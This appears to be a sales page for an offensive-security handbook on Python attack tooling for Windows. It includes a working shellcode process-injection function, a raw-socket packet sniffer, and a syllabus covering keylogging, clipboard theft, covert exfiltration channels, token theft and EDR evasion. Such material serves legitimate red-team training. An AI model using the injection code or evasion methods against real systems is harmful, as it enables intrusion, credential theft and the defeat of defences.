Black Hat Python: Stealth Tool Engineering

Executive Summary: Low-Level Windows Exploitation in Python

When performing adversary emulation or advanced penetration testing in hardened corporate environments, standard pre-compiled executables (like Metasploit payload binaries) are instantly flagged by Endpoint Detection & Response (EDR) sensors. To maintain persistence and bypass signature-based defenses, Red Team operators build custom, lightweight Python agents that interact directly with the Windows API without dropping compiled binaries to disk.

Black Hat Python is the benchmark 310-page manual for offensive security engineers and exploit developers. Spanning 8 deep technical modules, this handbook teaches you how to leverage Python's ctypes and pywin32 modules to manipulate Windows process memory, hook API calls, construct covert C2 channels over public cloud APIs, sniff network traffic at the raw socket level, and elevate privileges using token impersonation.

Deep Dive: Core Mechanics of Black Hat Python

The handbook provides operational source code blueprints across five advanced attack domains:

1. Windows API Interfacing with `ctypes` & `pywin32`

Bypassing high-level abstractions to call Windows Kernel APIs directly:

• Defining C Data Structures: Using ctypes.Structure and ctypes.POINTER to pass C-compatible memory structures to native Windows DLLs.
• Memory Manipulation: Allocating, writing, and changing memory page permissions (PAGE_EXECUTE_READWRITE) in target processes.

2. Process Injection Mechanics

Executing raw binary shellcode inside legitimate processes (e.g. svchost.exe or explorer.exe):

• Process Handles: Obtaining a target process handle using OpenProcess(PROCESS_ALL_ACCESS, False, pid).
• Remote Thread Execution: Writing payload bytes into the remote process memory space via WriteProcessMemory and executing via CreateRemoteThread.

3. API Hooking & Keylogging

Intercepting system API calls and capturing sensitive user inputs:

• Global Keyboard Hooks: Registering low-level keyboard hooks via SetWindowsHookExW(WH_KEYBOARD_LL, ...) to log passwords and keystrokes.
• Clipboard Monitoring: Intercepting data copied to the Windows clipboard to steal secrets or cryptocurrency addresses.

Field Engineering: Python `ctypes` Process Injection Script

Chapter 5 of the handbook provides practical Python 3 scripts for direct Windows API memory process injection:

import ctypes
import sys

# Define Windows API Constants & Types
PAGE_EXECUTE_READWRITE = 0x40
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000

kernel32 = ctypes.windll.kernel32

def inject_shellcode(target_pid, shellcode):
    print(f"[*] Opening target process PID: {target_pid}")
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(target_pid))
    if not h_process:
        print("[-] Failed to obtain process handle.")
        return

    # Allocate Executable Memory in Remote Process
    arg_address = kernel32.VirtualAllocEx(h_process, 0, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    print(f"[+] Allocated remote memory at address: {hex(arg_address)}")

    # Write Shellcode Payload into Remote Memory
    written = ctypes.c_ulong(0)
    kernel32.WriteProcessMemory(h_process, arg_address, shellcode, len(shellcode), ctypes.byref(written))
    print(f"[+] Wrote {written.value} bytes into process memory.")

    # Create Remote Thread to Execute Shellcode
    thread_id = ctypes.c_ulong(0)
    if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, ctypes.byref(thread_id)):
        print("[-] Failed to create remote thread.")
        return
    
    print(f"[!] SUCCESS: Remote Thread created with ID: {thread_id.value}")

import socket
import ctypes

# Define IP Header Structure matching C struct
class IP(ctypes.Structure):
    _fields_ = [
        ("ihl",           ctypes.c_ubyte, 4),
        ("version",       ctypes.c_ubyte, 4),
        ("tos",           ctypes.c_ubyte),
        ("len",           ctypes.c_ushort),
        ("id",            ctypes.c_ushort),
        ("offset",        ctypes.c_ushort),
        ("ttl",           ctypes.c_ubyte),
        ("protocol_num",  ctypes.c_ubyte),
        ("sum",           ctypes.c_ushort),
        ("src",           ctypes.c_uint32),
        ("dst",           ctypes.c_uint32)
    ]

# Sniff Raw IP Packets on Windows Interface
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
sniffer.bind(("0.0.0.0", 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

raw_buffer = sniffer.recvfrom(65565)[0]
ip_header = IP.from_buffer_copy(raw_buffer[0:20])
print(f"[*] Sniffed Protocol: {ip_header.protocol_num} | TTL: {ip_header.ttl}")

Complete Table of Contents & Module Syllabus

• Module 01 Black Hat Python Architecture & `ctypes` Interfacing

  Pages 1–40
  Interfacing with Windows `kernel32.dll` and `user32.dll` via `ctypes`, C data structures, pointers, and memory page permissions.
• Module 02 Low-Level Raw Socket Sniffing & Packet Decoders

  Pages 41–75
  Constructing cross-platform raw socket sniffers, parsing IP/ICMP headers with `ctypes.Structure`, and network host discovery.
• Module 03 Covert C2 Infrastructure & Cloud API Exfiltration

  Pages 76–115
  Building stealthy Trojan agents communicating via GitHub Gists, Google Drive, or DNS TXT records to bypass perimeter inspection.
• Module 04 Windows Process Injection with `VirtualAllocEx` & `ctypes`

  Pages 116–155
  Process handles (`OpenProcess`), memory allocation (`VirtualAllocEx`), payload injection (`WriteProcessMemory`), and remote thread execution.
• Module 05 Windows API Hooking, Keylogging & Memory Dumping

  Pages 156–195
  Global Windows keyboard hooks (`SetWindowsHookExW`), capturing raw keystrokes in memory, clipboard scraping, and process memory dumping.
• Module 06 Windows Token Impersonation & Privilege Escalation

  Pages 196–235
  Stealing process security tokens (`OpenProcessToken`), token impersonation (`ImpersonateLoggedOnUser`), abusing `SeDebugPrivilege`, and elevating to `SYSTEM`.
• Module 07 Burp Suite Python Extensions & Web Automation

  Pages 236–270
  Writing custom Jython extensions for Burp Suite, automating HTTP payload mutation, and bypassing custom encryption headers.
• Module 08 Obfuscating Python Payloads & EDR Evasion

  Pages 271–310
  Compiling Python scripts into standalone binaries (PyInstaller), obfuscating AST structures, and evading EDR signature detection.

Who Should Read This Handbook?

This handbook is designed for advanced offensive security engineers and red teamers:

Verified Red Team Operator Reviews

Frequently Asked Questions